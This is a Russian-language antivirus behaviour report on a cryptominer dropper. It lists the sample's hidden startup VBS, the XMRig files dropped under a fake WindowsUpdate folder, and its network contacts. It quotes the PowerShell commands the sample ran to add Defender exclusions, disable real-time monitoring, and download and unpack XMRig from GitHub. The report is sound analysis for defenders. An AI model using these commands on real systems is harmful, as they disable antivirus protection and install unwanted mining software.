Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\systemupdate.vbs
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\WindowsUpdate' -Force"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionProcess 'xmrig.exe' -Force"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-MpPreference -DisableRealtimeMonitoring $false"
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\windowsupdate\xmrig.zip
- %ALLUSERSPROFILE%\windowsupdate\xmrig-6.21.3\benchmark_10m.cmd
- %ALLUSERSPROFILE%\windowsupdate\xmrig-6.21.3\benchmark_1m.cmd
- %ALLUSERSPROFILE%\windowsupdate\xmrig-6.21.3\config.json
- %ALLUSERSPROFILE%\windowsupdate\xmrig-6.21.3\pool_mine_example.cmd
- %ALLUSERSPROFILE%\windowsupdate\xmrig-6.21.3\rtm_ghostrider_example.cmd
- %ALLUSERSPROFILE%\windowsupdate\xmrig-6.21.3\sha256sums
- %ALLUSERSPROFILE%\windowsupdate\xmrig-6.21.3\solo_mine_example.cmd
- %ALLUSERSPROFILE%\windowsupdate\xmrig-6.21.3\start.cmd
- %ALLUSERSPROFILE%\windowsupdate\xmrig-6.21.3\winring0x64.sys
- %ALLUSERSPROFILE%\windowsupdate\xmrig-6.21.3\xmrig.exe
- %ALLUSERSPROFILE%\windowsupdate\config.json
- nul
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\microsoft\windows\start menu\programs\startup\systemupdate.vbs
Удаляет файлы, которые сам же создал
- %ALLUSERSPROFILE%\windowsupdate\xmrig.zip
Сетевая активность
Подключается к
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
- 'x1.#.lencr.org':80
TCP
Запросы HTTP GET
- http://x1.#.lencr.org/
Другие
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
UDP
- DNS ASK gi##ub.com
- DNS ASK re#########ets.githubusercontent.com
- DNS ASK x1.#.lencr.org
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Expand-Archive -Path '%ALLUSERSPROFILE%\WindowsUpdate\xmrig.zip' -DestinationPath '%ALLUSERSPROFILE%\WindowsUpdate' -Force"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\WindowsUpdate' -Force"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Add-MpPreference -ExclusionProcess 'xmrig.exe' -Force"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip' -OutFile '%ALLUSERSPROFILE%\WindowsUpdate\xmrig.zip' -UseBa...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip' -OutFile '%ALLUSERSPROFILE%\WindowsUpdate\xmrig.zip' -UseBasicParsing"
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Expand-Archive -Path '%ALLUSERSPROFILE%\WindowsUpdate\xmrig.zip' -DestinationPath '%ALLUSERSPROFILE%\WindowsUpdate' -Force"
- '<SYSTEM32>\cmd.exe' /c for /d %x in ("%MINER_DIR%\xmrig-*") do xcopy "%x\*" "%MINER_DIR%\" /E /I /Y >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c icacls "%MINER_DIR%\xmrig.exe" /grant Everyone:F >nul 2>&1
- '<SYSTEM32>\icacls.exe' "%MINER_DIR%\xmrig.exe" /grant Everyone:F
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $false"
- '<SYSTEM32>\wscript.exe' %ALLUSERSPROFILE%\WindowsUpdate\systemupdate.vbs (со скрытым окном)
